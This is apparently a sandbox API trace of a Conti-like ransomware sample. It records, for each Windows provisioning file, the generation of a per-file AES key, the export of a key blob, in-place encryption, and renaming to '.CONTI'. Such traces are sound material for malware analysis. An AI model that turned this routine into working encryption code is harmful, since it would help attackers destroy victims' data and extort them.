	[0114.164] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bd
	[0114.164] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.164] SetEndOfFile (hFile=0x3a8) returned 1
	[0114.165] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.165] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.165] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b4d064*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b4d064*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0114.175] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.175] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2bd, lpOverlapped=0x0) returned 1
	[0114.175] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2bd, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2c0) returned 1
	[0114.175] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.175] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2c0, lpOverlapped=0x0) returned 1
	[0114.175] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.175] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b4d058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b4d058*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0114.175] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.175] CloseHandle (hObject=0x3a8) returned 1
	[0114.175] GetProcessHeap () returned 0x1720000
	[0114.175] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.175] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0114.175] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.175] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.176] GetProcessHeap () returned 0x1720000
	[0114.176] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.176] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0114.176] GetProcessHeap () returned 0x1720000
	[0114.176] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c94f0 | out: hHeap=0x1720000) returned 1
	[0114.176] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0114.176] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b504d8 | out: phKey=0x6b504d8*=0x17c8570) returned 1
	[0114.176] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b504dc, pdwDataLen=0x497fc1c | out: pbData=0x6b504dc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0114.177] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0114.177] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0114.178] GetLastError () returned 0x0
	[0114.178] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=457) returned 1
	[0114.178] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c9
	[0114.178] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.178] SetEndOfFile (hFile=0x3a8) returned 1
	[0114.184] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.184] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.184] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b504dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b504dc*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0114.190] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.190] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1c9, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1c9, lpOverlapped=0x0) returned 1
	[0114.190] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1c9, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1d0) returned 1
	[0114.190] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.191] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.191] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.191] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b504d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b504d0*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0114.191] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.191] CloseHandle (hObject=0x3a8) returned 1
	[0114.191] GetProcessHeap () returned 0x1720000
	[0114.191] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.191] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0114.191] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0114.191] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0114.192] GetProcessHeap () returned 0x1720000
	[0114.192] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.192] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0114.192] GetProcessHeap () returned 0x1720000
	[0114.192] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819c98 | out: hHeap=0x1720000) returned 1
	[0114.192] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0114.192] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b50720 | out: phKey=0x6b50720*=0x17c8570) returned 1
	[0114.192] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50724, pdwDataLen=0x497fc1c | out: pbData=0x6b50724*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0114.193] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.193] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0114.193] GetLastError () returned 0x0
	[0114.193] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=458) returned 1
	[0114.193] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ca
	[0114.193] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.193] SetEndOfFile (hFile=0x3a8) returned 1
	[0114.198] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.198] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.198] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b50724*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b50724*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0114.203] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.204] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1ca, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1ca, lpOverlapped=0x0) returned 1
	[0114.204] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1ca, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1d0) returned 1
	[0114.204] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.204] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.204] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.204] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b50718*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b50718*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0114.204] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.204] CloseHandle (hObject=0x3a8) returned 1
	[0114.204] GetProcessHeap () returned 0x1720000
	[0114.204] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.204] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.204] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.204] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.205] GetProcessHeap () returned 0x1720000
	[0114.205] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.205] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0114.205] GetProcessHeap () returned 0x1720000
	[0114.205] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54088 | out: hHeap=0x1720000) returned 1
	[0114.205] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0114.205] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b514d0 | out: phKey=0x6b514d0*=0x17c8570) returned 1
	[0114.205] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b514d4, pdwDataLen=0x497fc1c | out: pbData=0x6b514d4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0114.206] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.206] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0114.206] GetLastError () returned 0x0
	[0114.206] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=768) returned 1
	[0114.206] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x300
	[0114.207] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.207] SetEndOfFile (hFile=0x3a8) returned 1
	[0114.207] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.207] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.207] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b514d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b514d4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.099] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.099] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x300, lpOverlapped=0x0) returned 1
	[0115.099] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x300, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x310) returned 1
	[0115.100] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.100] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x310, lpOverlapped=0x0) returned 1
	[0115.100] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.100] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b514c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b514c8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0115.100] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.100] CloseHandle (hObject=0x3a8) returned 1
	[0116.243] GetProcessHeap () returned 0x1720000
	[0116.243] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6880810
	[0116.243] lstrcpyW (in: lpString1=0x6880810, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml"
	[0116.243] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml.CONTI"
